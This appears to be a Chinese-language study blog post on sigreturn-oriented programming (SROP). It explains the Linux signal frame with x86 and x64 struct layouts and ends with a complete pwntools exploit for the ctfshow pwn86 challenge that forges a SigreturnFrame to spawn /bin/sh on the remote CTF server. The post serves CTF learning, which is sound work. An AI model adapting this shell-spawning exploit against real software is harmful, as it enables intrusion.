SROP

介绍

SROP 是一种高级的漏洞利用技术,它通过篡改内核存储在用户空间栈上的信号上下文(Signal Context),并主动调用一个特殊系统调用 sigreturn(),来让内核无条件地将这片被篡改的上下文恢复到CPU的所有寄存器中,从而实现一种“全能”的攻击效果。

SROP - CTF Wiki上解释的很清楚,这里我就从这写自己学习的过程,几乎是照搬。

signal 机制

1

  1. 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

1

signal Frame

x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};

x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。

攻击原理

signal Frame是可读可写的,所以我们可以改动signal Frame来构造恶意的ROP,当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。

1

system call chains

需要指出的是,上面的例子中,我们只是单独的获得一个 shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可。

  • 控制栈指针。
  • 把原来 rip 指向的syscall gadget 换成syscall; ret gadget。

如下图所示 ,这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用。

1

需要满足的条件

  • 可以通过栈溢出来控制栈的内容
  • 需要知道相应的地址
    • “/bin/sh”
    • Signal Frame
    • syscall
    • sigreturn

例题

ctfshow pwn86

1
2
3
4
5
6
7
8
9
10
11
int __fastcall main(int argc, const char **argv, const char **envp)
{
signed __int64 v3; // rax
signed __int64 v4; // rax

v3 = sys_write(1u, global_pwn, 0x17uLL);
if ( (unsigned __int64)sys_read(0, global_buf, 0x200uLL) >= 0xF8 )
__asm { syscall; LINUX - sys_rt_sigreturn }
v4 = sys_exit(0);
return 0;
}

sys_read(0, global_buf, 0x200uLL)就是读入的栈帧(signal frame)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

# 设置上下文信息
context(arch='amd64', os='linux', log_level='debug')

def main():
# 加载目标二进制文件
elf = ELF('./pwn')

# 连接到目标
# p = process('./pwn') # 本地测试
p = remote("pwn.challenge.ctf.show", "28236") # 远程连接
#elf.sym['global_buf'] = 0x601040
#elf.sym['syscall'] = 0x400147
# 定义常量
BIN_SH_OFFSET = 0x100 # "/bin/sh"字符串在缓冲区中的偏移

# 构造信号返回帧
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 系统调用号
frame.rdi = elf.sym['global_buf'] + BIN_SH_OFFSET # 参数字符串地址
frame.rsi = 0 # argv参数
frame.rdx = 0 # envp参数
frame.rip = elf.sym['syscall'] # 返回后执行的指令地址

log.info("构造的信号返回帧:")
log.info(f"RAX = {frame.rax} (SYS_execve)")
log.info(f"RDI = {hex(frame.rdi)} (global_buf + {BIN_SH_OFFSET})")
log.info(f"RIP = {hex(frame.rip)} (syscall)")

# 构造攻击载荷
payload = bytes(frame)
padding = b'A' * (BIN_SH_OFFSET - len(payload))
bin_sh = b'/bin/sh\x00'

full_payload = payload + padding + bin_sh

log.info(f"载荷长度: {len(full_payload)} 字节")
log.info(f"帧数据: {len(payload)} 字节")
log.info(f"填充数据: {len(padding)} 字节")
log.info(f"字符串数据: {len(bin_sh)} 字节")

# 发送载荷
p.send(full_payload)

# 切换到交互模式
p.interactive()

if __name__ == "__main__":
main()